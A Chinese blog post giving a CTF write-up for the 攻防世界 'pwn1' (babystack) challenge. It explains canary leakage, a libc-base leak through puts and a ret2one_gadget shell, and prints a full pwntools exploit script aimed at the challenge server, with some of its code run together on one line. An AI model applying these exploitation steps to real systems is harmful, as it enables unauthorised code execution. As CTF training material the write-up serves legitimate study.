• 攻防世界pwn高手区——pwn1


    攻防世界 —— pwn1

    攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了。

    题目流程

    拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞。在gdb中检查题目的保护。

    解题思路

    程序没有开PIE,但是有Canary,所以首先要infoleak,泄露出Canary。泄露出Canary之后,可以通过ret2Onegadget的方法来getshell,这样的话,还要泄露出一个函数地址,泄露出函数地址之后,通过偏移来计算出libc的基地址,然后计算出Onegadget的地址。

    exp如下所示:

    from pwn import *
    context.log_level='debug'
    DEBUG=0
    if DEBUG:
        io=process('./babystack')
    else:
        io=remote('220.249.52.133',30008)
    
    elf=ELF('./babystack')
    libc=ELF('./libc-2.23.so')
    get_shell=0x45216
    #onegadget的地址
    read_plt
    =elf.plt['read'] write_plt=elf.plt['write'] puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] puts_off=libc.sym['puts'] pop_rdi_ret=0x400a93 pppppp_ret=0x400A8A movret=0x400a70 main_addr=0x400909 io.recv() io.sendline(str(1)) payload='a'*0x88+' ' #这里' '覆写Canary最低字节 io.send(payload) io.recv() io.sendline(str(2)) io.recvuntil('a'*0x88) Canary=u64(io.recv(8))-0xa #泄露出Canary print("Canary:{}".format(hex(Canary))) io.recv() io.sendline(str(1)) payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #泄露出puts函数地址 io.send(payload) io.sendafter('>> ',str(3)) puts_addr=u64(io.recv(8).ljust(8,'x00')) libc_addr=puts_addr-libc.symbols['puts'] execve_addr=libc_addr+0x45216 print("puts_addr:{}".format(hex(puts_addr))) print("libc_addr:{}".format(hex(libc_addr))) print("execve_addr:{}".format(hex(execve_addr))) payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(execve_addr) #ret2One_gadget io.sendlineafter('>> ',str(1)) io.send(payload) io.sendlineafter('>> ',str(3)) io.interactive()
  • 相关阅读:
    i春秋xss平台
    i春秋exec
    bugku 你必须让他停下
    bugku 域名解析
    bugku web3
    bugku 矛盾
    (转)ubuntu下怎么放wifi热点给andriod设备
    (转)如何在 ubuntu 下使用 iNode 客户端
    博客更新啦!!
    HDU 5351 MZL's Border (多校联合第5场1009)
  • 原文地址:https://www.cnblogs.com/L0g4n-blog/p/13270308.html
Copyright © 2020-2023  润新知